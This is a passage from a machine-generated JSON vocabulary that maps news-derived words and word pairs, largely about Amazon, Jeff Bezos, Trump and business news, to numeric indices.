\"omarosa\": 7478,\n  \"sales generated\": 7479,\n  \"touch maxwell\": 7480,\n  \"interpret antitrust\": 7481,\n  \"soybeans\": 7482,\n  \"pressing issue\": 7483,\n  \"gop gerrymandering\": 7484,\n  \"trump famously\": 7485,\n  \"constitutional mandate\": 7486,\n  \"video golden\": 7487,\n  \"chairs fsoc\": 7488,\n  \"sec sued\": 7489,\n  \"monza\": 7490,\n  \"warehouse expansion\": 7491,\n  \"information priya\": 7492,\n  \"complicated adding\": 7493,\n  \"350 largest\": 7494,\n  \"collaborates\": 7495,\n  \"salaries remain\": 7496,\n  \"rivals took\": 7497,\n  \"unusual number\": 7498,\n  \"mcconnell\": 7499,\n  \"mocks president\": 7500,\n  \"begins individualism\": 7501,\n  \"mashed\": 7502,\n  \"gtld program\": 7503,\n  \"cheater deviled\": 7504,\n  \"bought 608\": 7505,\n  \"eagerly awaiting\": 7506,\n  \"weren newsworthy\": 7507,\n  \"jay kreps\": 7508,\n  \"fueled speculation\": 7509,\n  \"a4ee g0\": 7510,\n  \"stock plunge\": 7511,\n  \"prime currently\": 7512,\n  \"vengeful dracula\": 7513,\n  \"listen going\": 7514,\n  \"prominent republicans\": 7515,\n  \"lone reporter\": 7516,\n  \"media celebrity\": 7517,\n  \"google flights\": 7518,\n  \"escaped getting\": 7519,\n  \"propagate\": 7520,\n  \"profiles\": 7521,\n  \"stock suffered\": 7522,\n  \"erik paulsen\": 7523,\n  \"slowdown saw\": 7524,\n  \"tweeted animosity\": 7525,\n  \"laws brexit\": 7526,\n  \"cook andrew\": 7527,\n  \"serving overseas\": 7528,\n  \"hikes including\": 7529,\n  \"die amazon\": 7530,\n  \"giant spins\": 7531,\n  \"groceries\": 7532,\n  \"break giant\": 7533,\n  \"teacher raises\": 7534,\n  \"pentagon advertisement\": 7535,\n  \"restless guy\": 7536,\n  \"city crowded\": 7537,\n  \"texture\": 7538,\n  \"national reckoning\": 7539,\n  \"cited report\": 7540,\n  \"delegation spared\": 7541,\n  \"emotion hope\": 7542,\n  \"permanent fabric\": 7543,\n  \"storied newspapers\": 7544,\n  \"delivery cnn\": 7545,\n  \"metadata incorrectly\": 7546,\n  \"arrived\": 7547,\n  \"gun\": 7548,\n  \"predicted stock\": 7549,\n  \"mail service\": 7550,\n  \"exceeds \\u0142122\": 7551,\n  \"hackers target\": 7552,\n  \"dollar debts\": 7553,\n  \"2018 does\": 7554,\n  \"policy responses\": 7555,\n  \"determining pre\": 7556,\n  \"wife melania\": 7557,\n  \"gpa\": 7558,\n  \"piracy\": 7559,\n  \"edith\": 7560,\n  \"manigault newman\": 7561,\n  \"inseparable\": 7562,\n  \"regular trading\": 7563,\n  \"series hosted\": 7564,\n  \"rival starbucks\": 7565,\n  \"results won\": 7566,\n  \"vancouver writer\": 7567,\n  \"semitic groups\": 7568,\n  \"price packages\": 7569,\n  \"rico needs\": 7570,\n  \"soon say\": 7571,\n  \"treatment just\": 7572,\n  \"provided ample\": 7573,\n  \"cabela\": 7574,\n  \"bezos meet\": 7575,\n  \"icy\": 7576,\n  \"ami publisher\": 7577,\n  \"microsoft lost\": 7578,\n  \"negotiations trump\": 7579,\n  \"canceling tommy\": 7580,\n  \"powerful weapon\": 7581,\n  \"sgn receives\": 7582,\n  \"banking wasn\": 7583,\n  \"altogether icahn\": 7584,\n  \"directly independent\": 7585,\n  \"ministry mpf\": 7586,\n  \"family properties\": 7587,\n  \"critics cite\": 7588,\n  \"want sanders\": 7589,\n  \"happening defense\": 7590,\n  \"disruptors just\": 7591,\n  \"interested instead\": 7592,\n  \"best global\": 7593,\n  \"decal\": 7594,\n  \"revolutionary voice\": 7595,\n  \"fund bridewater\": 7596,\n  \"operating results\": 7597,\n  \"amid backlash\": 7598,\n  \"decision opens\": 7599,\n  \"newspaper says\": 7600,\n  \"library association\": 7601,\n  \"costs 120\": 7602,\n  \"subscription model\": 7603,\n  \"covering national\": 7604,\n  \"news tv\": 7605,\n  \"1911 company\": 7606,\n  \"receiving pushback\": 7607,\n  \"denounced bolsonaro\": 7608,\n  \"null cnl_global_nav_background_gradient_endient\": 7609,\n  \"equal basis\": 7610,\n  \"took responsibility\": 7611,\n  \"pissed\": 7612,\n  \"praised benito\": 7613,\n  \"trump deep\": 7614,\n  \"tweeted previously\": 7615,\n  \"princeton\": 7616,\n  \"millionaire chris\": 7617,\n  \"rework\": 7618,\n  \"content posted\": 7619,\n  \"analysts expressed\": 7620,\n  \"war tensions\": 7621,\n  \"misogynist statements\": 7622,\n  \"national forest\": 7623,\n  \"oakmark\": 7624,\n  \"precrisis levels\": 7625,\n  \"delivery deal\": 7626,\n  \"struggles getting\": 7627,\n  \"changing nature\": 7628,\n  \"conveying\": 7629,\n  \"online gossip\": 7630,\n  \"congressional letter\": 7631,\n  \"reach 175bn\": 7632,\n  \"survivor father\": 7633,\n  \"small handful\": 7634,\n  \"long known\": 7635,\n  \"clown colbert\": 7636,\n  \"healing foods\": 7637,\n  \"u9\": 7638,\n  \"criminalenterprise malinowski\": 7639,\n  \"bomey\": 7640,\n  \"increase globally\": 7641,\n  \"atlas ad\": 7642,\n  \"blessing\": 7643,\n  \"ruthless worldview\": 7644,\n  \"service complicated\": 7645,\n  \"donald tusk\": 7646,\n  \"financial markets\": 7647,\n  \"hiding information\": 7648,\n  \"frantically\": 7649,\n  \"traded higher\": 7650,\n  \"gates marc\": 7651,\n  \"collar jobs\": 7652,\n  \"represents workers\": 7653,\n  \"shepherd dad\": 7654,\n  \"information management\": 7655,\n  \"legion self\": 7656,\n  \"inv advsr\": 7657,\n  \"printed firearms\": 7658,\n  \"justice john\": 7659,\n  \"home payments\": 7660,\n  \"attracted readers\": 7661,\n  \"underestimating growth\": 7662,\n  \"targets set\": 7663,\n  \"usps saying\": 7664,\n  \"amazon higher\": 7665,\n  \"bold campaign\": 7666,\n  \"want personal\": 7667,\n  \"transformation benefits\": 7668,\n  \"conway sarah\": 7669,\n  \"consider alternative\": 7670,\n  \"high fidelity\": 7671,\n  \"muckerman excellent\": 7672,\n  \"surrounding prefunding\": 7673,\n  \"news team\": 7674,\n  \"session sharply\": 7675,\n  \"address western\": 7676,\n  \"expensive diseases\": 7677,\n  \"goitein considers\": 7678,\n  \"7nextprevplay slideshowsplitting\": 7679,\n  \"bezos ownership\": 7680,\n  \"million copy\": 7681,\n  \"selling park\": 7682,\n  \"reconcilable\": 7683,\n  \"tjl ip\": 7684,\n  \"betrayed america\": 7685,\n  \"various sales\": 7686,\n  \"sales despite\": 7687,\n  \"services officials\": 7688,\n  \"chinese imports\": 7689,\n  \"youth services\": 7690,\n  \"report cnn\": 7691,\n  \"clubs trump\": 7692,\n  \"pre sorted\": 7693,\n  \"meetings haven\": 7694,\n  \"chief technology\": 7695,\n  \"favorite services\": 7696,\n  \"umi city\": 7697,\n  \"thr\": 7698,\n  \"major streaming\": 7699,\n  \"feminist essay\": 7700,\n  \"forgotten vegetables\": 7701,\n  \"szold\": 7702,\n  \"general carlos\": 7703,\n  \"slaughter\": 7704,\n  \"5k day\": 7705,\n  \"real living\": 7706,\n  \"619 shares\": 7707,\n  \"parcel price\": 7708,\n  \"wilke amazon\": 7709,\n  \"fvhowpfqiy foxnews\": 7710,\n  \"fantastical\": 7711,\n  \"954\": 7712,\n  \"notable comic\": 7713,\n  \"preventing corporate\": 7714,\n  \"onpresident\": 7715,\n  \"sharing site\": 7716,\n  \"weapon capable\": 7717,\n  \"albums\": 7718,\n  \"places jedi\": 7719,\n  \"experts works\": 7720,\n  \"varney trump\": 7721,\n  \"unheard\": 7722,\n  \"biased influential\": 7723,\n  \"supercharging surveillance\": 7724,\n  \"portfolio wealthtrust\": 7725,\n  \"transplant\": 7726,\n  \"groups say\": 7727,\n  \"death sends\": 7728,\n  \"performance follow\": 7729,\n  \"online store\": 7730,\n  \"reipro\": 7731,\n  \"meetings\": 7732,\n  \"cornell university\": 7733,\n  \"showspinner function\": 7734,\n  \"wegmans foto\": 7735,\n  \"fpo\": 7736,\n  \"2013 reuters\": 7737,\n  \"crisis yellen\": 7738,\n  \"legal recourse\": 7739,\n  \"inquirer\": 7740,\n  \"levied fines\": 7741,\n  \"loathed middle\": 7742,\n  \"support planned\": 7743,\n  \"saudi citizens\": 7744,\n  \"commerce consumption\": 7745,\n  \"hits candy\": 7746,\n  \"getting competitive\": 7747,\n  \"barack obama\": 7748,\n  \"sky headlineplaintext\": 7749,\n  \"enquirer pecker\": 7750,\n  \"medications right\": 7751,\n  \"confirmed\": 7752,\n  \"describing amazon\": 7753,\n  \"mini headquarters\": 7754,\n  \"world second\": 7755,\n  \"house\": 7756,\n  \"discriminatory lending\": 7757,\n  \"w4\": 7758,\n  \"book summaries\": 7759,\n  \"american elder\": 7760,\n  \"160bn thanks\": 7761,\n  \"significantly guided\": 7762,\n  \"nasa jet\": 7763,\n  \"trump copy\": 7764,\n  \"criticisms suggesting\": 7765,\n  \"overall revenue\": 7766,\n  \"human suit\": 7767,\n  \"title alongside\": 7768,\n  \"strauss\": 7769,\n  \"qi charger\": 7770,\n  \"expressing support\": 7771,\n  \"nicest suit\": 7772,\n  \"gates net\": 7773,\n  \"include celebrations\": 7774,\n  \"funding governor\": 7775,\n  \"omnicom\": 7776,\n  \"red carpet\": 7777,\n  \"tweets angrily\": 7778,\n  \"stupid payne\": 7779,\n  \"268\": 7780,\n  \"policy transition\": 7781,\n  \"advertising social\": 7782,\n  \"aires germany\": 7783,\n  \"coolest\": 7784,\n  \"new territory\": 7785,\n  \"sanders broadsides\": 7786,\n  \"\\u014210\": 7787,\n  \"cci finally\": 7788,\n  \"fedex corporation\": 7789,\n  \"gregobagel\": 7790,\n  \"term story\": 7791,\n  \"equally fickle\": 7792,\n  \"reported mistress\": 7793,\n  \"meeting resulting\": 7794,\n  \"putting new\": 7795,\n  \"democratic caucus\": 7796,\n  \"fredrik\": 7797,\n  \"staff defied\": 7798,\n  \"electronics seller\": 7799,\n  \"newborn children\": 7800,\n  \"say listen\": 7801,\n  \"depicts trump\": 7802,\n  \"second series\": 7803,\n  \"man walking\": 7804,\n  \"solution currently\": 7805,\n  \"clear trump\": 7806,\n  \"herbert housing\": 7807,\n  \"jerrelle\": 7808,\n  \"working men\": 7809,\n  \"armed assailants\": 7810,\n  \"new patents\": 7811,\n  \"including baseball\": 7812,\n  \"harry member\": 7813,\n  \"dealmakers\": 7814,\n  \"negrete\": 7815,\n  \"party complete\": 7816,\n  \"trump broadsides\": 7817,\n  \"louisiana wearing\": 7818,\n  \"worries investors\": 7819,\n  \"dating service\": 7820,\n  \"result trump\": 7821,\n  \"recent accenture\": 7822,\n  \"washed away\": 7823,\n  \"tavern detroit\": 7824,\n  \"consolidate\": 7825,\n  \"98point6 license\": 7826,\n  \"points demonstrating\": 7827,\n  \"sciences aws\": 7828,\n  \"larry neumeister\": 7829,\n  \"solicit ebay\": 7830,\n  \"morning lashing\": 7831,\n  \"eli\": 7832,\n  \"483 300\": 7833,\n  \"public trough\": 7834,\n  \"hubby\": 7835,\n  \"versus month\": 7836,\n  \"postal\": 7837,\n  \"555 474\": 7838,\n  \"avoid screwing\": 7839,\n  \"ceo interview\": 7840,\n  \"memphis amazon\": 7841,\n  \"french studies\": 7842,\n  \"bought home\": 7843,\n  \"bezos plans\": 7844,\n  \"a4ee f8\": 7845,\n  \"immigration agents\": 7846,\n  \"focus\": 7847,\n  \"uk retail\": 7848,\n  \"banking\": 7849,\n  \"knowledge enriching\": 7850,\n  \"news reports\": 7851,\n  \"tremaine living\": 7852,\n  \"violated amazon\": 7853,\n  \"slew\": 7854,\n  \"foremost nemesis\": 7855,\n  \"canada actually\": 7856,\n  \"transformative\": 7857,\n  \"school work\": 7858,\n  \"cnbc make\": 7859,\n  \"german antitrust\": 7860,\n  \"wealth usually\": 7861,\n  \"transnational commodities\": 7862,\n  \"remain unswerving\": 7863,\n  \"making run\": 7864,\n  \"old bosses\": 7865,\n  \"star jane\": 7866,\n  \"amrith ramkumar\": 7867,\n  \"schiff claims\": 7868,\n  \"index cover\": 7869,\n  \"entities baring\": 7870,\n  \"respective journalism\": 7871,\n  \"new uncertainty\": 7872,\n  \"filtering\": 7873,\n  \"500 components\": 7874,\n  \"sparks\": 7875,\n  \"house power\": 7876,\n  \"lot westervelt\": 7877,\n  \"insured\": 7878,\n  \"curtain jon\": 7879,\n  \"counterfeit brand\": 7880,\n  \"employment practices\": 7881,\n  \"miraculous\": 7882,\n  \"reputation bezos\": 7883,\n  \"flattering\": 7884,\n  \"place just\": 7885,\n  \"recommendations photo\": 7886,\n  \"amazon pirro\": 7887,\n  \"pause\": 7888,\n  \"records muckrock\": 7889,\n  \"multiple specific\": 7890,\n  \"schaeffer\": 7891,\n  \"commission ftc\": 7892,\n  \"pecker cooperation\": 7893,\n  \"closely mirrored\": 7894,\n  \"optics\": 7895,\n  \"doesn matter\": 7896,\n  \"routing\": 7897,\n  \"fetched\": 7898,\n  \"ku klux\": 7899,\n  \"ideas kind\": 7900,\n  \"american headquarters\": 7901,\n  \"drier\": 7902,\n  \"marvel\": 7903,\n  \"oilpatch 8217\": 7904,\n  \"reportedly pursued\": 7905,\n  \"fodder\": 7906,\n  \"business leaders\": 7907,\n  \"china dominance\": 7908,\n  \"option amazonbasics\": 7909,\n  \"wickets\": 7910,\n  \"veteran mark\": 7911,\n  \"gift\": 7912,\n  \"punish facebook\": 7913,\n  \"second thing\": 7914,\n  \"danielle parhizkaran\": 7915,\n  \"open 100\": 7916,\n  \"spotlight today\": 7917,\n  \"vents\": 7918,\n  \"manufacturers hammered\": 7919,\n  \"site chicagoist\": 7920,\n  \"sound strong\": 7921,\n  \"denied ford\": 7922,\n  \"secret probe\": 7923,\n  \"gas utilities\": 7924,\n  \"argento original\": 7925,\n  \"qatar pledges\": 7926,\n  \"items president\": 7927,\n  \"reporting revenue\": 7928,\n  \"offerings space\": 7929,\n  \"trump material\": 7930,\n  \"produced 471\": 7931,\n  \"health related\": 7932,\n  \"storytelling\": 7933,\n  \"fortune technology\": 7934,\n  \"phone 7277761194\": 7935,\n  \"salacious details\": 7936,\n  \"lowest union\": 7937,\n  \"celebrity journalism\": 7938,\n  \"check\": 7939,\n  \"survive\": 7940,\n  \"pg delayed\": 7941,\n  \"considering defining\": 7942,\n  \"436\": 7943,\n  \"heir big\": 7944,\n  \"iq\": 7945,\n  \"pentagon think\": 7946,\n  \"etiquette\": 7947,\n  \"icann relevant\": 7948,\n  \"vudu private\": 7949,\n  \"constitution favoring\": 7950,\n  \"regulatory filing\": 7951,\n  \"trump certainly\": 7952,\n  \"warren proposal\": 7953,\n  \"oscar celebration\": 7954,\n  \"wsj amanda\": 7955,\n  \"vigil\": 7956,\n  \"media feel\": 7957,\n  \"denied responsibility\": 7958,\n  \"users interacted\": 7959,\n  \"participating employer\": 7960,\n  \"don shoot\": 7961,\n  \"alabama bait\": 7962,\n  \"years says\": 7963,\n  \"close delivery\": 7964,\n  \"frighteningly easy\": 7965,\n  \"safety departments\": 7966,\n  \"activist\": 7967,\n  \"memo jan\": 7968,\n  \"hits close\": 7969,\n  \"rgj\": 7970,\n  \"jealous\": 7971,\n  \"ending temper\": 7972,\n  \"groused\": 7973,\n  \"message preceded\": 7974,\n  \"examples cnn\": 7975,\n  \"month blaming\": 7976,\n  \"bespoke investment\": 7977,\n  \"crystal lucy\": 7978,\n  \"acting attorney\": 7979,\n  \"heroes\": 7980,\n  \"766th\": 7981,\n  \"adventures safer\": 7982,\n  \"reader\": 7983,\n  \"itat garbage\": 7984,\n  \"waters trump\": 7985,\n  \"jeff hutcheson\": 7986,\n  \"farmers carmakers\": 7987,\n  \"pr victory\": 7988,\n  \"chinese political\": 7989,\n  \"sales amazon\": 7990,\n  \"pence urges\": 7991,\n  \"total officials\": 7992,\n  \"healthcare burden\": 7993,\n  \"plan execute\": 7994,\n  \"washington office\": 7995,\n  \"718\": 7996,\n  \"beast did\": 7997,\n  \"2018 just\": 7998,\n  \"israel asking\": 7999,\n  \"year president\": 8000,\n  \"plunkett noted\": 8001,\n  \"symbol\": 8002,\n  \"george rooney\": 8003,\n  \"think today\": 8004,\n  \"peter foley\": 8005,\n  \"threatened blackmail\": 8006,\n  \"tariffs says\": 8007,\n  \"bloomin\": 8008,\n  \"845m\": 8009,\n  \"media network\": 8010,\n  \"tory told\": 8011,\n  \"guides using\": 8012,\n  \"100 growth\": 8013,\n  \"union charged\": 8014,\n  \"company investments\": 8015,\n  \"ricky gervaiss\": 8016,\n  \"customer knowledge\": 8017,\n  \"marty wanted\": 8018,\n  \"importer\": 8019,\n  \"president preferred\": 8020,\n  \"shoulder rubbing\": 8021,\n  \"storing packing\": 8022,\n  \"vegetable\": 8023,\n  \"need divine\": 8024,\n  \"central valley\": 8025,\n  \"warrant unless\": 8026,\n  \"products just\": 8027,\n  \"way postal\": 8028,\n  \"year contributed\": 8029,\n  \"crisis\": 8030,\n  \"768\": 8031,\n  \"3gb 32gb\": 8032,\n  \"heads apple\": 8033,\n  \"deficiency\": 8034,\n  \"covered amazon\": 8035,\n  \"services consulting\": 8036,\n  \"congolese\": 8037,\n  \"related critics\": 8038,\n  \"malware increased\": 8039,\n  \"buy broad\": 8040,\n  \"striking\": 8041,\n  \"intelligent people\": 8042,\n  \"1994 according\": 8043,\n  \"cost negotiations\": 8044,\n  \"cleveland browns\": 8045,\n  \"lefty won\": 8046,\n  \"thought law\": 8047,\n  \"platform integral\": 8048,\n  \"technology email\": 8049,\n  \"gamer\": 8050,\n  \"law central\": 8051,\n  \"play amazon\": 8052,\n  \"positive comment\": 8053,\n  \"government heralds\": 8054,\n  \"misleadingly\": 8055,\n  \"recently harley\": 8056,\n  \"civic foundation\": 8057,\n  \"kill mockingbird\": 8058,\n  \"trump contributed\": 8059,\n  \"locals mad\": 8060,\n  \"setting record\": 8061,\n  \"scan numerous\": 8062,\n  \"spyjust weeks\": 8063,\n  \"threaten media\": 8064,\n  \"companies amid\": 8065,\n  \"gop standard\": 8066,\n  \"blumhouse\": 8067,\n  \"portfolio bristol\": 8068,\n  \"identify guidance\": 8069,\n  \"workplace abuse\": 8070,\n  \"tabloid fodder\": 8071,\n  \"coalson rfe\": 8072,\n  \"doesn love\": 8073,\n  \"takes charge\": 8074,\n  \"credit says\": 8075,\n  \"mccartney amazon\": 8076,\n  \"naughty sexts\": 8077,\n  \"warmer climate\": 8078,\n  \"flooding houston\": 8079,\n  \"numerous jurisdictions\": 8080,\n  \"provide updated\": 8081,\n  \"decided long\": 8082,\n  \"2019 paper\": 8083,\n  \"namesake software\": 8084,\n  \"vancouver studios\": 8085,\n  \"jr eric\": 8086,\n  \"tornado warning\": 8087,\n  \"facing boycott\": 8088,\n  \"little earlier\": 8089,\n  \"chang dong\": 8090,\n  \"1st\": 8091,\n  \"including busing\": 8092,\n  \"shooter situation\": 8093,\n  \"qualified educational\": 8094,\n  \"rejected trumps\": 8095,\n  \"alleging trademark\": 8096,\n  \"884 worth\": 8097,\n  \"composite rating\": 8098,\n  \"family shelters\": 8099,\n  \"jump start\": 8100,\n  \"illegally obtained\": 8101,\n  \"receive food\": 8102,\n  \"council doesn\": 8103,\n  \"cooperation program\": 8104,\n  \"shortly\": 8105,\n  \"stranded\": 8106,\n  \"malinowski\": 8107,\n  \"digit range\": 8108,\n  \"earned trump\": 8109,\n  \"competitor told\": 8110,\n  \"collapse\": 8111,\n  \"release issued\": 8112,\n  \"reporter libby\": 8113,\n  \"high state\": 8114,\n  \"cross burning\": 8115,\n  \"cinema capitol\": 8116,\n  \"circuitous career\": 8117,\n  \"cold day\": 8118,\n  \"influence jeff\": 8119,\n  \"looks suspiciously\": 8120,\n  \"author averaged\": 8121,\n  \"wife meets\": 8122,\n  \"mississippi amazon\": 8123,\n  \"ap arkansas\": 8124,\n  \"hideaways intimate\": 8125,\n  \"testimony revelations\": 8126,\n  \"seeing people\": 8127,\n  \"low hanging\": 8128,\n  \"hr work\": 8129,\n  \"positive step\": 8130,\n  \"2019 olive\": 8131,\n  \"sure packages\": 8132,\n  \"group\": 8133,\n  \"descriptiontext\": 8134,\n  \"automated calls\": 8135,\n  \"city va\": 8136,\n  \"state common\": 8137,\n  \"bogota\": 8138,\n  \"wapo associate\": 8139,\n  \"merits argued\": 8140,\n  \"attacks raising\": 8141,\n  \"nbcuniversal media\": 8142,\n  \"sets dangerous\": 8143,\n  \"treat india\": 8144,\n  \"post reporter\": 8145,\n  \"phone company\": 8146,\n  \"journalist critical\": 8147,\n  \"check european\": 8148,\n  \"inflation\": 8149,\n  \"courage lever\": 8150,\n  \"amazon expert\": 8151,\n  \"british tax\": 8152,\n  \"key senator\": 8153,\n  \"858m\": 8154,\n  \"khashoggi whatsapp\": 8155,\n  \"financial service\": 8156,\n  \"publishers recording\": 8157,\n  \"early example\": 8158,\n  \"covington student\": 8159,\n  \"right wrong\": 8160,\n  \"democrats whopping\": 8161,\n  \"stake billionaire\": 8162,\n  \"amazon prefer\": 8163,\n  \"pay tax\": 8164,\n  \"heterodox economics\": 8165,\n  \"11319\": 8166,\n  \"routes early\": 8167,\n  \"brad plumer\": 8168,\n  \"company high\": 8169,\n  \"security funds\": 8170,\n  \"products nike\": 8171,\n  \"direct insult\": 8172,\n  \"closely mirror\": 8173,\n  \"indifferent titles\": 8174,\n  \"administration tries\": 8175,\n  \"month researchers\": 8176,\n  \"twitter pulpit\": 8177,\n  \"soaringly beautiful\": 8178,\n  \"edging closer\": 8179,\n  \"faces fine\": 8180,\n  \"soy production\": 8181,\n  \"reviews sites\": 8182,\n  \"actual kids\": 8183,\n  \"2019 sales\": 8184,\n  \"reactid 199\": 8185,\n  \"eligibility\": 8186,\n  \"budgeted nature\": 8187,\n  \"refused instead\": 8188,\n  \"ordering hundreds\": 8189,\n  \"issues resolved\": 8190,\n  \"walmart marketplace\": 8191,\n  \"moves forward\": 8192,\n  \"wars proposals\": 8193,\n  \"ruth marcus\": 8194,\n  \"trillion usa\": 8195,\n  \"revenue rises\": 8196,\n  \"morse 2019\": 8197,\n  \"llc owns\": 8198,\n  \"extensive\": 8199,\n  \"cowboys available\": 8200,\n  \"site traffic\": 8201,\n  \"documents force\": 8202,\n  \"broker gop\": 8203,\n  \"necessary inside\": 8204,\n  \"follow times\": 8205,\n  \"bluest\": 8206,\n  \"activision blizzard\": 8207,\n  \"proposed tunneling\": 8208,\n  \"reinforces\": 8209,\n  \"current campaign\": 8210,\n  \"reporting smoke\": 8211,\n  \"really\": 8212,\n  \"makes things\": 8213,\n  \"flex drivers\": 8214,\n  \"children lauren\": 8215,\n  \"plants shortages\": 8216,\n  \"disclosure citizens\": 8217,\n  \"amazon income\": 8218,\n  \"uncoupling\": 8219,\n  \"company tax\": 8220,\n  \"trump open\": 8221,\n  \"internet reveals\": 8222,\n  \"bad actors\": 8223,\n  \"new orders\": 8224,\n  \"written multiple\": 8225,\n  \"9411680da8c6402caa7d14b071daa953\": 8226,\n  \"1985 welles\": 8227,\n  \"hasn opened\": 8228,\n  \"entire states\": 8229,\n  \"armed\": 8230,\n  \"852 shares\": 8231,\n  \"suffolk county\": 8232,\n  \"significantly scaled\": 8233,\n  \"times headlined\": 8234,\n  \"identity politics\": 8235,\n  \"tester mont\": 8236,\n  \"suharto\": 8237,\n  \"johnking\": 8238,\n  \"schisms\": 8239,\n  \"nelp org\": 8240,\n  \"reuters india\": 8241,\n  \"mind despite\": 8242,\n  \"bezos tops\": 8243,\n  \"videotape kate\": 8244,\n  \"4m\": 8245,\n  \"army version\": 8246,\n  \"kazakoff\": 8247,\n  \"sciences presenting\": 8248,\n  \"greatest villains\": 8249,\n  \"sell papers\": 8250,\n  \"fox movie\": 8251,\n  \"jordi\": 8252,\n  \"girls education\": 8253,\n  \"2019 according\": 8254,\n  \"profits\": 8255,\n  \"pension happy\": 8256,\n  \"kleponis democrats\": 8257,\n  \"easily afford\": 8258,\n  \"wealth climbed\": 8259,\n  \"debt 2018\": 8260,\n  \"paulson trade\": 8261,\n  \"elastic block\": 8262,\n  \"ami chair\": 8263,\n  \"making just\": 8264,\n  \"software based\": 8265,\n  \"provide evidence\": 8266,\n  \"hate organization\": 8267,\n  \"talk bad\": 8268,\n  \"election mistaken\": 8269,\n  \"poked holes\": 8270,\n  \"nutrition director\": 8271,\n  \"atf confirms\": 8272,\n  \"bank routing\": 8273,\n  \"sharing revenue\": 8274,\n  \"model using\": 8275,\n  \"amazon future\": 8276,\n  \"283 increase\": 8277,\n  \"dltr investors\": 8278,\n  \"757\": 8279,\n  \"era risk\": 8280,\n  \"manish\": 8281,\n  \"rapidly adding\": 8282,\n  \"finally facing\": 8283,\n  \"recent elections\": 8284,\n  \"ipo 2019\": 8285,\n  \"scope isn\": 8286,\n  \"expel corrupt\": 8287,\n  \"finance\": 8288,\n  \"fox prime\": 8289,\n  \"hastily named\": 8290,\n  \"house restore\": 8291,\n  \"evolved basis\": 8292,\n  \"foy returns\": 8293,\n  \"major deforesters\": 8294,\n  \"contractors including\": 8295,\n  \"massachusetts man\": 8296,\n  \"taylor dillards\": 8297,\n  \"crypto\": 8298,\n  \"semi warns\": 8299,\n  \"outcomes gained\": 8300,\n  \"post newspaper\": 8301,\n  \"ran stories\": 8302,\n  \"rise extolling\": 8303,\n  \"wego\": 8304,\n  \"sports network\": 8305,\n  \"china bring\": 8306,\n  \"states citizenship\": 8307,\n  \"pena nieto\": 8308,\n  \"london west\": 8309,\n  \"largest aluminum\": 8310,\n  \"gunman opened\": 8311,\n  \"nashville tn\": 8312,\n  \"improve behavior\": 8313,\n  \"democratic women\": 8314,\n  \"bad reviews\": 8315,\n  \"michael alison\": 8316,\n  \"estimated\": 8317,\n  \"deliveries grocery\": 8318,\n  \"jassy virginia\": 8319,\n  \"addicted\": 8320,\n  \"increase\": 8321,\n  \"short term\": 8322,\n  \"minus roseanne\": 8323,\n  \"raising amazon\": 8324,\n  \"150 search\": 8325,\n  \"including 180\": 8326,\n  \"state 228\": 8327,\n  \"titles spicer\": 8328,\n  \"du\": 8329,\n  \"exclusively used\": 8330,\n  \"unique\": 8331,\n  \"beirut\": 8332,\n  \"probably lose\": 8333,\n  \"warren president\": 8334,\n  \"contradictory reports\": 8335,\n  \"effectively wiping\": 8336,\n  \"corporate groupthink\": 8337,\n  \"business katera\": 8338,\n  \"netnewsledger news\": 8339,\n  \"released letter\": 8340,\n  \"doesn tbelieve\": 8341,\n  \"annual midsummer\": 8342,\n  \"twitter feed\": 8343,\n  \"wong afp\": 8344,\n  \"healthcare venture\": 8345,\n  \"major story\": 8346,\n  \"ecommerce gross\": 8347,\n  \"binds\": 8348,\n  \"require lawmakers\": 8349,\n  \"competition calculated\": 8350,\n  \"intel corp\": 8351,\n  \"newsworthy events\": 8352,\n  \"message warning\": 8353,\n  \"economic competition\": 8354,\n  \"murphy american\": 8355,\n  \"ohio data\": 8356,\n  \"traced act\": 8357,\n  \"events read\": 8358,\n  \"tax expense\": 8359,\n  \"716\": 8360,\n  \"investment plan\": 8361,\n  \"subsections\": 8362,\n  \"market foundation\": 8363,\n  \"recently announced\": 8364,\n  \"repair\": 8365,\n  \"1051 bought\": 8366,\n  \"ceo luck\": 8367,\n  \"nonetheless fall\": 8368,\n  \"begala kind\": 8369,\n  \"begun redirecting\": 8370,\n  \"irresistible target\": 8371,\n  \"wanted worlds\": 8372,\n  \"best poverty\": 8373,\n  \"just thought\": 8374,\n  \"called falcon\": 8375,\n  \"says carbon\": 8376,\n  \"declined quite\": 8377,\n  \"investigative reporting\": 8378,\n  \"mueller tells\": 8379,\n  \"womack ark\": 8380,\n  \"bluntly federal\": 8381,\n  \"lightfoot massey\": 8382,\n  \"public opinion\": 8383,\n  \"coms\": 8384,\n  \"playing politics\": 8385,\n  \"paper distributed\": 8386,\n  \"pay period\": 8387,\n  \"arlington va\": 8388,\n  \"talks leading\": 8389,\n  \"post persistent\": 8390,\n  \"money honey\": 8391,\n  \"survival rates\": 8392,\n  \"messaging sensible\": 8393,\n  \"typical underdog\": 8394,\n  \"potential charges\": 8395,\n  \"public statements\": 8396,\n  \"liberal activists\": 8397,\n  \"amazon pac\": 8398,\n  \"straining\": 8399,\n  \"continues affects\": 8400,\n  \"make love\": 8401,\n  \"truly gargantuan\": 8402,\n  \"american corporation\": 8403,\n  \"business san\": 8404,\n  \"allegations according\": 8405,\n  \"rotten things\": 8406,\n  \"provide affordable\": 8407,\n  \"profitable arena\": 8408,\n  \"maloney helps\": 8409,\n  \"nationalize google\": 8410,\n  \"retinol skincare\": 8411,\n  \"trump dislike\": 8412,\n  \"bomb dna\": 8413,\n  \"moody shea\": 8414,\n  \"aqua\": 8415,\n  \"deliveries obviously\": 8416,\n  \"thanks good\": 8417,\n  \"multiple cloud\": 8418,\n  \"brown hair\": 8419,\n  \"speak iche\": 8420,\n  \"wildcard\": 8421,\n  \"company capable\": 8422,\n  \"police make\": 8423,\n  \"classic memorabilia\": 8424,\n  \"collapse championing\": 8425,\n  \"hudsons\": 8426,\n  \"toeing\": 8427,\n  \"information answered\": 8428,\n  \"potential upside\": 8429,\n  \"amzn retail\": 8430,\n  \"results unless\": 8431,\n  \"representative joaquin\": 8432,\n  \"giants google\": 8433,\n  \"vaunted second\": 8434,\n  \"anau\": 8435,\n  \"dario argento\": 8436,\n  \"agony\": 8437,\n  \"recent analysis\": 8438,\n  \"monstrous caravans\": 8439,\n  \"aesthetic taste\": 8440,\n  \"city ticketing\": 8441,\n  \"david leonhardt\": 8442,\n  \"results disgrace\": 8443,\n  \"sheer scale\": 8444,\n  \"\\u01421\": 8445,\n  \"1854\": 8446,\n  \"strange magic\": 8447,\n  \"future innovations\": 8448,\n  \"favreau\": 8449,\n  \"long mainstay\": 8450,\n  \"senior level\": 8451,\n  \"records times\": 8452,\n  \"congo\": 